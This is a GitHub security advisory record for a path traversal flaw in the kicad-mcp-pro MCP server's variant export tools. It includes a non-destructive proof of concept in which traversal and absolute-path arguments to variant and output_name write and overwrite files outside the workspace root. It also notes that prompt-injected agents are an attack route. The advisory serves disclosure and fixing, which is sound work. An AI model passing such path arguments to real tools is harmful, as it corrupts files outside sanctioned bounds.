{"id":"GHSA-wfmg-598x-58c5","summary":"KiCad MCP Pro: Variant export tools write outside KICAD_MCP_WORKSPACE_ROOT via unvalidated variant and output_name arguments","details":"## Summary\n\nThe three variant export tools build their output path by joining an unvalidated tool argument onto the output directory, so the write lands wherever that argument points. `KICAD_MCP_WORKSPACE_ROOT` does not contain it.\n\nBoth `variant` and `output_name` work. `variant` has a suffix appended (`_bom.csv`, `_gerber`), while `output_name` has none, so with `output_name` the caller controls the entire final path component.\n\nIt overwrote a pre-existing file outside the workspace root, wrote to an absolute path outside it, and created directories outside it with no KiCad installed at all.\n\nThis is the same class as GHSA-h93v-ccrj-58fw, which was fixed in 4.15.1, in a module that fix did not touch. PR #1720 changed only `src/kicad_mcp/project/creation.py` and two test files, and added no shared guard, so the pattern survives in 4.20.0.\n\n## Affected versions\n\nTested on:\n\n- Repository: https://github.com/oaslananka/kicad-mcp-pro\n- Commit: 70ae5a77b644f039f83e82caa6d4b6b54e54c044 (main, 2026-11-18)\n- Package version: `kicad-mcp-pro` 4.20.0 from PyPI (latest). Everything below ran against the installed wheel; the checkout only supplied line numbers, which match.\n- Python version: 3.13.18\n- OS: Linux (Debian, in Docker)\n\n## Impact\n\nAnyone who can call these MCP tools can write and overwrite files outside the configured workspace root. That is the attacker model your own advisory for GHSA-h93v-ccrj-58fw describes, including an agent steered by prompt injection from a datasheet, a component description or a project file.\n\nAttacker requirements:\n\n- One MCP tool call with chosen arguments.\n- A schematic-capable profile. The tools are **not** in the `default` profile. I enumerated `tools_for_profile` at runtime: they appear in `agent_full`, `builder`, `critic`, `expert`, `full`, `high_speed`, `power`, `schematic`, `schematic_authoring`, `schematic_only` and `simulation`. Your `.env.example:48` documents `KICAD_MCP_PROFILE=full`, and `server.py:2388-2399` materialises the `full` catalog for programmatic hosts.\n- An active project. No KiCad GUI, no IPC connection, no second user, and no authentication step.\n\n## What the documentation promises\n\n`docs/configuration.md:221-226`, \"Workspace Safety\":\n\n\u003e When `KICAD_MCP_WORKSPACE_ROOT` is set, project artifact reads and writes must stay under that root.\n\nAlso `docs/errors.md:34` describes `UNSAFE_PATH` as \"A requested path escapes the workspace\", `docs/integration/kicad-studio.md:95` says the variable \"constrains project artifact reads and writes\", and the tool's own docstring at `tools/variants.py:343` says the BOM goes \"into the project output directory\".\n\n## Reproduction\n\nThe PoC is local and non-destructive: everything is written inside a container, and `/work/outside` stands in for a location outside the configured root.\n\n```bash\npython -m venv .venv && .venv/bin/pip install kicad-mcp-pro==4.20.0\n# /work/ws is KICAD_MCP_WORKSPACE_ROOT, /work/ws/proj is the active project\n# (a copy of tests/fixtures/benchmark_projects/pass_minimal_mcu_board),\n# /work/outside is outside the root\n.venv/bin/python -I poc_variants.py\n```\n\nFirst, the controls. The documented resolver and your own `pcb_export_stats` both refuse the same strings:\n\n```text\nresolve_within_project('../../../outside/control.csv') REFUSED: UnsafePathError: The requested path '/outside/control.csv' escapes workspace root '/work/ws/proj'.\nresolve_within_project('/work/outside/control.csv')    REFUSED: UnsafePathError: The requested path '/work/outside/control.csv' escapes workspace root '/work/ws/proj'.\nensure_output_dir('../../outside')                     REFUSED: UnsafePathError: Output subdirectories cannot contain parent traversal.\nexport_board_stats('../../../outside/stats.json')      REFUSED: ValueError: Output name must be a single file name, not a path.\nvariant_export_bom('prod')                             -\u003e /work/ws/proj/output/variants/prod_bom.csv\n```\n\nOverwriting a file outside the root. `/work/outside/victim_bom.csv` contained `ORIGINAL-CONTENT-DO-NOT-TOUCH` before the call:\n\n```text\nvariant_create('../../../../outside/victim')     -\u003e Created design variant '../../../../outside/victim' in /work/ws/proj/demo.kicad_pro.\nvariant_export_bom('../../../../outside/victim') -\u003e Variant BOM exported to /work/ws/proj/output/variants/../../../../outside/victim_bom.csv (2 populated component(s)).\n\n--- /work/outside/victim_bom.csv now contains ---\nreference,value,footprint,populated,dnp\nR1,10k,Resistor_SMD:R_0805,True,False\nR2,22k,Resistor_SMD:R_0805,True,False\n\noverwritten outside the workspace root: True\n```\n\nAn absolute variant name, no traversal needed:\n\n```text\nvariant_export_bom('/work/outside/abs') -\u003e Variant BOM exported to /work/outside/abs_bom.json (2 populated component(s)).\nexists: True\n```\n\nDirectory creation outside the root, with no kicad-cli present at all:\n\n```text\nvariant_export_manufacturing_package('../../../../outside/mfg')\ntool raised after the directory was created: FileNotFoundError: kicad-cli is not available. ...\ncreated outside root: /work/outside/mfg_gerber True\n```\n\nFor `output_name` I pointed `KICAD_MCP_KICAD_CLI` at a stub that only creates the file it is told to create with `--output`, since kicad-cli is not installed in the container. **That part uses a simulated CLI and I am labelling it as such.** What is under test is the path your code hands to `--output`, which is pure Python. The manifest write in the third case is your own `write_text`, not the stub.\n\n```text\nvariant_export_schematic(output_name='../../../../outside/pwned_by_output_name.pdf')  -\u003e exists outside root: True\nvariant_export_schematic(output_name='/work/outside/abs_output_name.pdf')             -\u003e exists outside root: True\nvariant_export_manufacturing_package(output_name='../../../../outside/pkg.json')      -\u003e exists outside root: True\n\nstate of /work/outside\n  /work/outside/abs_output_name.pdf (31 bytes)\n  /work/outside/pkg.json (257 bytes)\n  /work/outside/pwned_by_output_name.pdf (31 bytes)\n```\n\nExpected safe behavior:\n\n```text\nAll of the above raise UnsafePathError, or reject the argument as not being a\nsingle file name, exactly as the four controls do.\n```\n\n## Root cause\n\n`src/kicad_mcp/tools/variants.py`, line numbers identical in the wheel and the checkout:\n\n```python\n351:    out_file = out_dir / f\"{variant}_bom.{fmt}\"\n451:    out_file = out_dir / (output_name or f\"{variant}_schematic.pdf\")\n515:    manifest_path = out_dir / (output_name or f\"{variant}_manufacturing.json\")\n526:    gerber_dir = out_dir / f\"{variant}_gerber\"\n557:    drill_dir = out_dir / f\"{variant}_drill\"\n```\n\n`variant` reaches `variant_create` at `:261`, where the only check is `:263-264`, `if not name.strip()`. It is then stored verbatim as a JSON key and never treated as a path, so nothing rejects a traversal or an absolute path at creation time. `variant_export_bom` at `:342` does not validate it either; `format` is allowlisted at `:345-346`, and `variant` is not.\n\n`output_name` reaches `:435` and `:486` unvalidated.\n\nThe writes are `_write_bom` at `:353` (reaching `path.write_text` at `:218` and `:228`), `manifest_path.write_text` at `:599`, `gerber_dir.mkdir` at `:527`, and the `--output` argument passed to kicad-cli at `:462` and `:472`.\n\n`cfg.ensure_output_dir(\"variants\")` at `:350` does not help: `config.py:582-596` validates the base with `assert_within(self.workspace, base)` and the subdir with `relative_subpath(subdir)`, and it only ever sees the literal `\"variants\"`. The attacker-controlled string is appended afterwards. Under pathlib, `..` segments survive the join and an absolute path replaces the base entirely.\n\nThe check that is missing here exists elsewhere in the project. `src/kicad_mcp/export/board_stats.py:49-55`:\n\n```python\nout_file = out_dir / (output_name.strip() if output_name else \"board_stats.json\")\nif \"/\" in str(out_file.relative_to(out_dir)) or \"\\\\\" in str(out_file.relative_to(out_dir)):\n    raise ValueError(\"Output name must be a single file name, not a path.\")\n```\n\n`tools/footprint.py:42`, `tools/symbol.py:82` and `tools/jobset.py:79` use the other idiom, `Path(...).name`. `tools/variants.py` imports `resolve_under` at `:14` and calls it only for the import path at `:97`, never for an output path.\n\n## Suggested fix\n\nReject `variant` values that are not a single path component at `variant_create`, and run `output_name` and the derived paths through `get_config().resolve_within_project(...)`, or the `Path(...).name` idiom already used in `footprint.py`, `symbol.py` and `jobset.py`, in all three export tools before any `write_text`, `mkdir`, or `--output`.\n\n## Not claimed\n\n- Windows drive and UNC forms. `reject_foreign_windows_path` (`path_safety.py:84-94`) is never called on these arguments, but I had no Windows host, so I am not claiming it.\n- Any confidentiality impact.\n\n## Disclosure\n\nThis report was prepared with AI assistance; every result above comes from a run the reporter executed against the 4.20.0 wheel, and the one simulated component (the kicad-cli stub) is labelled where it appears.","aliases":["CVE-2026-141546"],"modified":"2026-12-03T02:45:05.630967491Z","published":"2026-12-03T02:28:48Z","database_specific":{"nvd_published_at":"2026-12-02T19:18:01Z","cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-12-03T02:28:48Z"},"references":[{"type":"WEB","url":"https://github.com/oaslananka/kicad-mcp-pro/security/advisories/GHSA-wfmg-598x-58c5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-141546"},{"type":"WEB","url":"https://github.com/oaslananka/kicad-mcp-pro/pull/1806"},{"type":"WEB","url":"https://github.com/oaslananka/kicad-mcp-pro/commit/1ddb8ce1d3a8a67d4670f947a582d07c9ba29130"},{"type":"PACKAGE","url":"https://github.com/oaslananka/kicad-mcp-pro"},{"type":"WEB","url":"https://github.com/oaslananka/kicad-mcp-pro/releases/tag/mcp-server-v4.20.1"}],"affected":[{"package":{"name":"kicad-mcp-pro","ecosystem":"PyPI","purl":"pkg:pypi/kicad-mcp-pro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.20.1"}]}],"versions":["3.13.0","3.14.0","3.14.1","3.15.0","3.15.1","3.16.0","3.17.0","3.17.1","3.18.0","3.19.0","3.19.1","3.20.0","3.21.0","3.22.0","3.22.1","3.22.2","3.24.0","3.24.1","3.25.0","3.26.0","3.27.0","3.28.0","3.29.0","3.29.1","3.29.2","3.30.0","3.30.1","3.31.0","3.32.0","3.33.0","3.33.1","3.33.2","3.33.3","3.34.0","3.34.1","3.34.2","3.34.3","3.34.4","3.34.5","3.34.6","3.34.7","3.34.8","3.35.0","3.35.1","3.35.2","3.36.0","3.37.0","4.0.0","4.0.1","4.0.2","4.1.0","4.10.0","4.11.0","4.12.0","4.13.0","4.14.0","4.15.0","4.15.1","4.16.0","4.17.0","4.18.0","4.19.0","4.2.0","4.20.0","4.3.0","4.4.0","4.5.0","4.6.0","4.6.1","4.7.0","4.8.0","4.8.1","4.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.20.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-wfmg-598x-58c5/GHSA-wfmg-598x-58c5.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N"}]}